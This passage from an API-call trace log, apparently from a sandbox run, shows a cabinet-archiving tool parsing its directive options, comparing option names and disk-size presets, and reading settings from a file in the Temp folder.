_Str2="InfCommentString") returned -6 [0101.815] _strcmpi (_Str1="CompressionMemory", _Str2="InfCommentString") returned -6 [0101.815] _strcmpi (_Str1="DestinationDir", _Str2="InfCommentString") returned -5 [0101.815] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCommentString") returned -5 [0101.816] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCommentString") returned -5 [0101.816] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCommentString") returned -5 [0101.816] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCommentString") returned -3 [0101.816] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCommentString") returned -3 [0101.816] _strcmpi (_Str1="GenerateInf", _Str2="InfCommentString") returned -2 [0101.816] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfCommentString") returned -14 [0101.816] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfCommentString") returned -14 [0101.816] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfCommentString") returned 16 [0101.816] _strcmpi (_Str1="Cabinet", _Str2="InfDateFormat") returned -6 [0101.816] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfDateFormat") returned -6 [0101.816] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfDateFormat") returned -6 [0101.816] _strcmpi (_Str1="ChecksumWidth", _Str2="InfDateFormat") returned -6 [0101.816] _strcmpi (_Str1="ClusterSize", _Str2="InfDateFormat") returned -6 [0101.816] _strcmpi (_Str1="Compress", _Str2="InfDateFormat") returned -6 [0101.816] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfDateFormat") returned -6 [0101.816] _strcmpi (_Str1="CompressionType", _Str2="InfDateFormat") returned -6 [0101.816] _strcmpi (_Str1="CompressionLevel", _Str2="InfDateFormat") returned -6 [0101.816] _strcmpi (_Str1="CompressionMemory", _Str2="InfDateFormat") returned -6 [0101.816] _strcmpi (_Str1="DestinationDir", _Str2="InfDateFormat") returned -5 [0101.816] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfDateFormat") returned -5 [0101.816] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfDateFormat") returned -5 [0101.816] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfDateFormat") returned -5 [0101.816] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfDateFormat") returned -3 [0101.816] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfDateFormat") returned -3 [0101.816] _strcmpi (_Str1="GenerateInf", _Str2="InfDateFormat") returned -2 [0101.816] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfDateFormat") returned -1 [0101.816] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfDateFormat") returned -1 [0101.816] _strcmpi (_Str1="InfCommentString", _Str2="InfDateFormat") returned -1 [0101.816] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfDateFormat") returned 13 [0101.816] _strcmpi (_Str1="mm/dd/yy", _Str2="mm/dd/yy") returned 0 [0101.816] _strcmpi (_Str1="Cabinet", _Str2="InfDiskHeader") returned -6 [0101.816] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfDiskHeader") returned -6 [0101.816] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfDiskHeader") returned -6 [0101.817] _strcmpi (_Str1="ChecksumWidth", _Str2="InfDiskHeader") returned -6 [0101.817] _strcmpi (_Str1="ClusterSize", _Str2="InfDiskHeader") returned -6 [0101.817] _strcmpi (_Str1="Compress", _Str2="InfDiskHeader") returned -6 [0101.817] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfDiskHeader") returned -6 [0101.817] _strcmpi (_Str1="CompressionType", _Str2="InfDiskHeader") returned -6 [0101.817] _strcmpi (_Str1="CompressionLevel", _Str2="InfDiskHeader") returned -6 [0101.817] _strcmpi (_Str1="CompressionMemory", _Str2="InfDiskHeader") returned -6 [0101.817] _strcmpi (_Str1="DestinationDir", _Str2="InfDiskHeader") returned -5 [0101.817] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfDiskHeader") returned -5 [0101.817] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfDiskHeader") returned -5 [0101.817] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfDiskHeader") returned -5 [0101.817] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfDiskHeader") returned -3 [0101.817] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfDiskHeader") returned -3 [0101.817] _strcmpi (_Str1="GenerateInf", _Str2="InfDiskHeader") returned -2 [0101.817] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfDiskHeader") returned -1 [0101.817] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfDiskHeader") returned -1 [0101.817] _strcmpi (_Str1="InfCommentString", _Str2="InfDiskHeader") returned -1 [0101.817] _strcmpi (_Str1="InfDateFormat", _Str2="InfDiskHeader") returned -8 [0101.817] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfDiskHeader") returned 13 [0101.817] _strcmpi (_Str1="Cabinet", _Str2="InfDiskLineFormat") returned -6 [0101.817] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfDiskLineFormat") returned -6 [0101.817] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfDiskLineFormat") returned -6 [0101.817] _strcmpi (_Str1="ChecksumWidth", _Str2="InfDiskLineFormat") returned -6 [0101.817] _strcmpi (_Str1="ClusterSize", _Str2="InfDiskLineFormat") returned -6 [0101.817] _strcmpi (_Str1="Compress", _Str2="InfDiskLineFormat") returned -6 [0101.817] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfDiskLineFormat") returned -6 [0101.817] _strcmpi (_Str1="CompressionType", _Str2="InfDiskLineFormat") returned -6 [0101.817] _strcmpi (_Str1="CompressionLevel", _Str2="InfDiskLineFormat") returned -6 [0101.817] _strcmpi (_Str1="CompressionMemory", _Str2="InfDiskLineFormat") returned -6 [0101.817] _strcmpi (_Str1="DestinationDir", _Str2="InfDiskLineFormat") returned -5 [0101.817] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfDiskLineFormat") returned -5 [0101.817] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfDiskLineFormat") returned -5 [0101.817] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfDiskLineFormat") returned -5 [0101.818] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfDiskLineFormat") returned -3 [0101.818] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfDiskLineFormat") returned -3 [0101.818] _strcmpi (_Str1="GenerateInf", _Str2="InfDiskLineFormat") returned -2 [0101.818] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfDiskLineFormat") returned -1 [0101.818] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfDiskLineFormat") returned 17 [0101.818] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfFileHeader") returned 13 [0101.818] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfFileLineFormat") returned 17 [0101.818] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfFileName") returned 11 [0101.818] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfFooter") returned 9 [0101.818] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfFooter1") returned 10 [0101.818] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfFooter2") returned 10 [0101.819] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfFooter3") returned 10 [0101.819] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfFooter4") returned 10 [0101.819] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfHeader") returned 9 [0101.819] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfHeader1") returned 10 [0101.819] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfHeader2") returned 10 [0101.819] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfHeader3") returned 10 [0101.819] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfHeader4") returned 10 [0101.820] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfHeader5") returned 10 [0101.820] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfHeader6") returned 10 [0101.820] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfSectionOrder") returned 15 [0101.820] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="MaxCabinetSize") returned 14 [0101.820] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="MaxDiskFileCount") returned 16 [0101.820] _strcmpi (_Str1="224", _Str2="360K") returned -1 [0101.820] atol (_Str="362496") returned 362496 [0101.820] atol (_Str="224") returned 224 [0101.820] _strcmpi (_Str1="224", _Str2="720K") returned -5 [0101.820] atol (_Str="730112") returned 730112 [0101.820] atol (_Str="224") returned 224 [0101.821] _strcmpi (_Str1="224", _Str2="1.2M") returned 1 [0101.821] atol (_Str="1213952") returned 1213952 [0101.821] atol (_Str="224") returned 224 [0101.821] _strcmpi (_Str1="224", _Str2="1.25M") returned 1 [0101.821] atol (_Str="1250304") returned 1250304 [0101.821] atol (_Str="224") returned 224 [0101.821] _strcmpi (_Str1="224", _Str2="1.44M") returned 1 [0101.821] atol (_Str="1457664") returned 1457664 [0101.821] atol (_Str="224") returned 224 [0101.821] _strcmpi (_Str1="224", _Str2="1.68M") returned 1 [0101.821] atol (_Str="1716224") returned 1716224 [0101.821] atol (_Str="224") returned 224 [0101.821] _strcmpi (_Str1="224", _Str2="DMF168") returned -50 [0101.821] atol (_Str="1716224") returned 1716224 [0101.821] atol (_Str="224") returned 224 [0101.821] _strcmpi (_Str1="224", _Str2="CDROM") returned -49 [0101.821] atol (_Str="681984000") returned 681984000 [0101.821] atol (_Str="224") returned 224 [0101.821] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="MaxDiskSize") returned 11 [0101.821] _strcmpi (_Str1="1457664", _Str2="360K") returned -2 [0101.821] atol (_Str="362496") returned 362496 [0101.821] atol (_Str="1457664") returned 1457664 [0101.821] _strcmpi (_Str1="1457664", _Str2="720K") returned -6 [0101.821] atol (_Str="730112") returned 730112 [0101.821] atol (_Str="1457664") returned 1457664 [0101.821] _strcmpi (_Str1="1457664", _Str2="1.2M") returned 6 [0101.821] atol (_Str="1213952") returned 1213952 [0101.821] atol (_Str="1457664") returned 1457664 [0101.821] _strcmpi (_Str1="1457664", _Str2="1.25M") returned 6 [0101.821] atol (_Str="1250304") returned 1250304 [0101.821] atol (_Str="1457664") returned 1457664 [0101.821] _strcmpi (_Str1="1457664", _Str2="1.44M") returned 6 [0101.821] atol (_Str="1457664") returned 1457664 [0101.821] atol (_Str="1457664") returned 1457664 [0101.822] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="MaxErrors") returned 9 [0101.822] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="ReservePerCabinetSize") returned 21 [0101.822] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="ReservePerDataBlockSize") returned 23 [0101.822] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="ReservePerFolderSize") returned 20 [0101.822] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="RptFileName") returned 11 [0101.822] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="SourceDir") returned 9 [0101.822] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="UniqueFiles") returned 11 [0101.822] _strcmpi (_Str1="1", _Str2="No") returned -61 [0101.822] _strcmpi (_Str1="1", _Str2="Off") returned -62 [0101.822] _strcmpi (_Str1="1", _Str2="False") returned -53 [0101.940] _open (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1fb1.bin"), _OpenFlag=32768) returned 3 [0101.940] malloc (_Size=0x438) returned 0x32be40 [0101.940] malloc (_Size=0x1000) returned 0x32c280 [0101.940] _read (in: _FileHandle=3, _DstBuf=0x1ff570, _MaxCharCount=0x3 | out: _DstBuf=0x1ff570*) returned 3 [0101.940] _lseek (_FileHandle=3, _Offset=0, _Origin=0) returned 0 [0101.940] _read (in: _FileHandle=3, _DstBuf=0x32c280, _MaxCharCount=0x1000 | out: _DstBuf=0x32c280*) returned 156 [0101.940] strpbrk (_Str=".set MaxDiskSize=0", _Control=" \x09") returned=" MaxDiskSize=0" [0101.940] strspn (_Str=" MaxDiskSize=0", _Control=" \x09") returned 0x1 [0101.941] strpbrk (_Str="MaxDiskSize=0", _Control=" \x09") returned 0x0 [0101.941] strspn (_Str=".set MaxDiskSize=0", _Control=" \x09") returned 0x0 [0101.941] strspn (_Str=".set MaxDiskSize=0", _Control=" \x09") returned 0x0 [0101.941] strpbrk (_Str="set MaxDiskSize=0", _Control=" \x09") returned=" MaxDiskSize=0" [0101.941] _strcmpi (_Str1="Define", _Str2="set") returned -15 [0101.941] _strcmpi (_Str1="Delete", _Str2="set") returned -15 [0101.941] _strcmpi (_Str1="Dump", _Str2="set") returned -15 [0101.941] _strcmpi (_Str1="InfBegin", _Str2="set") returned -10 [0101.941] _strcmpi (_Str1="InfEnd", _Str2="set") returned -10 [0101.941] _strcmpi (_Str1="InfWrite", _Str2="set") returned -10 [0101.941] _strcmpi (_Str1="InfWriteCabinet", _Str2="set") returned -10 [0101.941] _strcmpi (_Str1="InfWriteDisk", _Str2="set") returned -10 [0101.941] _strcmpi (_Str1="New", _Str2="set") returned -5 [0101.941] _strcmpi (_Str1="Option", _Str2="set") returned -4 [0101.941] _strcmpi (_Str1="Set", _Str2="set") returned 0 [0101.941] strspn (_Str=" MaxDiskSize=0", _Control=" \x09") returned 0x1 [0101.941] strpbrk (_Str="MaxDiskSize=0", _Control="= \x09") returned="=0" [0101.941] strspn (_Str="=0", _Control=" \x09") returned 0x0 [0101.941] strspn (_Str="0", _Control=" \x09") returned 0x0 [0101.941] strpbrk (_Str="0", _Control=" \x09") returned 0x0 [0101.941] strspn (_Str="", _Control=" \x09") returned 0x0 [0101.941] _strcmpi (_Str1="", _Str2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin") returned -99 [0101.941] _vsnprintf (in: _DstBuf=0x1fe7a0, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe6f8 | out: _DstBuf="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin") returned 45 [0101.941] _vsnprintf (in: _DstBuf=0x1fe7cf, _MaxCount=0x1d0, _Format="%d", _ArgList=0x1fe6f8 | out: _DstBuf="1") returned 1 [0101.941] printf (_Format="%s%s\r") returned 76 [0101.967] _strcmpi (_Str1="0", _Str2="360K") returned -3 [0101.967] atol (_Str="362496") returned 362496 [0101.967] atol (_Str="0") returned 0 [0101.967] _strcmpi (_Str1="0", _Str2="720K") returned -7 [0101.967] atol (_Str="730112") returned 730112 [0101.967] atol (_Str="0") returned 0 [0101.967] _strcmpi (_Str1="0", _Str2="1.2M") returned -1 [0101.967] atol (_Str="1213952") returned 1213952 [0101.967] atol (_Str="0") returned 0 [0101.967] _strcmpi (_Str1="0", _Str2="1.25M") returned -1 [0101.967] atol (_Str="1250304") returned 1250304 [0101.967] atol (_Str="0") returned 0 [0101.967] _strcmpi (_Str1="0", _Str2="1.44M") returned -1 [0101.967] atol (_Str="1457664") returned 1457664 [0101.967] atol (_Str="0") returned 0 [0101.967] _strcmpi (_Str1="0", _Str2="1.68M") returned -1 [0101.967] atol (_Str="1716224") returned 1716224 [0101.967] atol (_Str="0") returned 0 [0101.967] _strcmpi (_Str1="0", _Str2="DMF168") returned -52 [0101.967] atol (_Str="1716224") returned 1716224 [0101.967] atol (_Str="0") returned 0 [0101.967] _strcmpi (_Str1="0", _Str2="CDROM") returned -51 [0101.967] atol (_Str="681984000") returned 681984000 [0101.967] atol (_Str="0") returned 0 [0101.967] _strcmpi (_Str1="Cabinet", _Str2="MaxDiskSize") returned -10 [0101.967] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="MaxDiskSize") returned -10 [0101.967] _strcmpi (_Str1="CabinetNameTemplate", _Str2="MaxDiskSize") returned -10 [0101.967] _strcmpi (_Str1="ChecksumWidth", _Str2="MaxDiskSize") returned -10 [0101.967] _strcmpi (_Str1="ClusterSize", _Str2="MaxDiskSize") returned -10 [0101.967] _strcmpi (_Str1="Compress", _Str2="MaxDiskSize") returned -10 [0101.967] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="MaxDiskSize") returned -10 [0101.967] _strcmpi (_Str1="CompressionType", _Str2="MaxDiskSize") returned -10 [0101.967] _strcmpi (_Str1="CompressionLevel", _Str2="MaxDiskSize") returned -10 [0101.967] _strcmpi (_Str1="CompressionMemory", _Str2="MaxDiskSize") returned -10 [0101.967] _strcmpi (_Str1="DestinationDir", _Str2="MaxDiskSize") returned -9 [0101.967] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="MaxDiskSize") returned -9 [0101.968] _strcmpi (_Str1="DiskLabelTemplate", _Str2="MaxDiskSize") returned -9 [0101.968] _strcmpi (_Str1="DoNotCopyFiles", _Str2="MaxDiskSize") returned -9 [0101.968] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="MaxDiskSize") returned -7 [0101.968] _strcmpi (_Str1="FolderSizeThreshold", _Str2="MaxDiskSize") returned -7 [0101.968] _strcmpi (_Str1="GenerateInf", _Str2="MaxDiskSize") returned -6 [0101.968] _strcmpi (_Str1="InfCabinetHeader", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfCommentString", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfDateFormat", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfDiskHeader", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfDiskLineFormat", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfFileHeader", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfFileLineFormat", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfFileName", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfFooter", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfFooter1", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfFooter2", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfFooter3", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfFooter4", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfHeader", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfHeader1", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfHeader2", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfHeader3", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfHeader4", _Str2="MaxDiskSize") returned -4 [0101.968] _strcmpi (_Str1="InfHeader5", _Str2="MaxDiskSize") returned -4 [0101.969] _strcmpi (_Str1="InfHeader6", _Str2="MaxDiskSize") returned -4 [0101.969] _strcmpi (_Str1="InfSectionOrder", _Str2="MaxDiskSize") returned -4 [0101.969] _strcmpi (_Str1="MaxCabinetSize", _Str2="MaxDiskSize") returned -1 [0101.969] _strcmpi (_Str1="MaxDiskFileCount", _Str2="MaxDiskSize") returned -13 [0101.969] _strcmpi (_Str1="MaxDiskSize", _Str2="MaxDiskSize") returned 0 [0101.969] _strcmpi (_Str1="0", _Str2="360K") returned -3 [0101.969] atol (_Str="362496") returned 362496 [0101.969] atol (_Str="0") returned 0 [0101.969] _strcmpi (_Str1="0", _Str2="720K") returned -7 [0101.969] atol (_Str="730112") returned 730112 [0101.969] atol (_Str="0") returned 0 [0101.969] _strcmpi (_Str1="0", _Str2="1.2M") returned -1 [0101.969] atol (_Str="1213952") returned 1213952 [0101.969] atol (_Str="0") returned 0 [0101.969] _strcmpi (_Str1="0", _Str2="1.25M") returned -1 [0101.969] atol (_Str="1250304") returned 1250304 [0101.969] atol (_Str="0") returned 0 [0101.969] _strcmpi (_Str1="0", _Str2="1.44M") returned -1 [0101.969] atol (_Str="1457664") returned 1457664 [0101.969] atol (_Str="0") returned 0 [0101.969] _strcmpi (_Str1="0", _Str2="1.68M") returned -1 [0101.969] atol (_Str="1716224") returned 1716224 [0101.969] atol (_Str="0") returned 0 [0101.969] _strcmpi (_Str1="0", _Str2="DMF168") returned -52 [0101.969] atol (_Str="1716224") returned 1716224 [0101.969] atol (_Str="0") returned 0 [0101.969] _strcmpi (_Str1="0", _Str2="CDROM") returned -51 [0101.969] atol (_Str="681984000") returned 681984000 [0101.969] atol (_Str="0") returned 0 [0101.969] free (_Block=0x327050) [0101.969] _strcmpi (_Str1="MaxDiskSize", _Str2="MaxDiskSize") returned 0 [0101.969] _strcmpi (_Str1="0", _Str2="360K") returned -3 [0101.969] atol (_Str="362496") returned 362496 [0101.970] atol (_Str="0") returned 0 [0101.970] _strcmpi (_Str1="0", _Str2="720K") returned -7 [0101.970] atol (_Str="730112") returned 730112 [0101.970] atol (_Str="0") returned 0 [0101.970] _strcmpi (_Str1="0", _Str2="1.2M") returned -1 [0101.970] atol (_Str="1213952") returned 1213952 [0101.970] atol (_Str="0") returned 0 [0101.970] _strcmpi (_Str1="0", _Str2="1.25M") returned -1 [0101.970] atol (_Str="1250304") returned 1250304 [0101.970] atol (_Str="0") returned 0 [0101.970] _strcmpi (_Str1="0", _Str2="1.44M") returned -1 [0101.970] atol (_Str="1457664") returned 1457664 [0101.970] atol (_Str="0") returned 0 [0101.970] _strcmpi (_Str1="0", _Str2="1.68M") returned -1 [0101.970] atol (_Str="1716224") returned 1716224 [0101.970] atol (_Str="0") returned 0 [0101.970] _strcmpi (_Str1="0", _Str2="DMF168") returned -52 [0101.970] atol (_Str="1716224") returned 1716224 [0101.970] atol (_Str="0") returned 0 [0101.970] _strcmpi (_Str1="0", _Str2="CDROM") returned -51 [0101.970] atol (_Str="681984000") returned 681984000 [0101.970] atol (_Str="0") returned 0 [0101.970] strpbrk (_Str=".set DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned=" DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"" [0101.970] strspn (_Str=" DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x1 [0101.970] strpbrk (_Str="DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0101.970] strspn (_Str=".set DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0101.970] strspn (_Str=".set DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0101.970] strpbrk (_Str="set DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned=" DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"" [0101.970] _strcmpi (_Str1="Define", _Str2="set") returned -15 [0101.970] _strcmpi (_Str1="Delete", _Str2="set") returned -15 [0101.970] _strcmpi (_Str1="Dump", _Str2="set") returned -15 [0101.970] _strcmpi (_Str1="InfBegin", _Str2="set") returned -10 [0101.970] _strcmpi (_Str1="InfEnd", _Str2="set") returned -10 [0101.970] _strcmpi (_Str1="InfWrite", _Str2="set") returned -10 [0101.970] _strcmpi (_Str1="InfWriteCabinet", _Str2="set") returned -10 [0101.970] _strcmpi (_Str1="InfWriteDisk", _Str2="set") returned -10 [0101.970] _strcmpi (_Str1="New", _Str2="set") returned -5 [0101.971] _strcmpi (_Str1="Option", _Str2="set") returned -4 [0101.971] _strcmpi (_Str1="Set", _Str2="set") returned 0 [0101.971] strspn (_Str=" DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x1 [0101.971] strpbrk (_Str="DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control="= \x09") returned="=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"" [0101.971] strspn (_Str="=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0101.971] strspn (_Str="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0101.971] strspn (_Str="", _Control=" \x09") returned 0x0 [0101.971] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin", _Str2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin") returned 0 [0101.971] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="360K") returned 48 [0101.971] atol (_Str="362496") returned 362496 [0101.971] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0101.971] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="720K") returned 44 [0101.971] atol (_Str="730112") returned 730112 [0101.971] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0101.971] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="1.2M") returned 50 [0101.971] atol (_Str="1213952") returned 1213952 [0101.971] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0101.971] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="1.25M") returned 50 [0101.971] atol (_Str="1250304") returned 1250304 [0101.971] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0101.971] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="1.44M") returned 50 [0101.971] atol (_Str="1457664") returned 1457664 [0101.971] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0101.971] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="1.68M") returned 50 [0101.971] atol (_Str="1716224") returned 1716224 [0101.971] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0101.971] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="DMF168") returned -1 [0101.971] atol (_Str="1716224") returned 1716224 [0101.971] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0101.971] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="CDROM") returned -42 [0101.971] atol (_Str="681984000") returned 681984000 [0101.971] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0101.971] _strcmpi (_Str1="Cabinet", _Str2="DiskDirectory1") returned -1 [0101.971] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DiskDirectory1") returned -1 [0101.971] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DiskDirectory1") returned -1 [0101.971] _strcmpi (_Str1="ChecksumWidth", _Str2="DiskDirectory1") returned -1 [0101.971] _strcmpi (_Str1="ClusterSize", 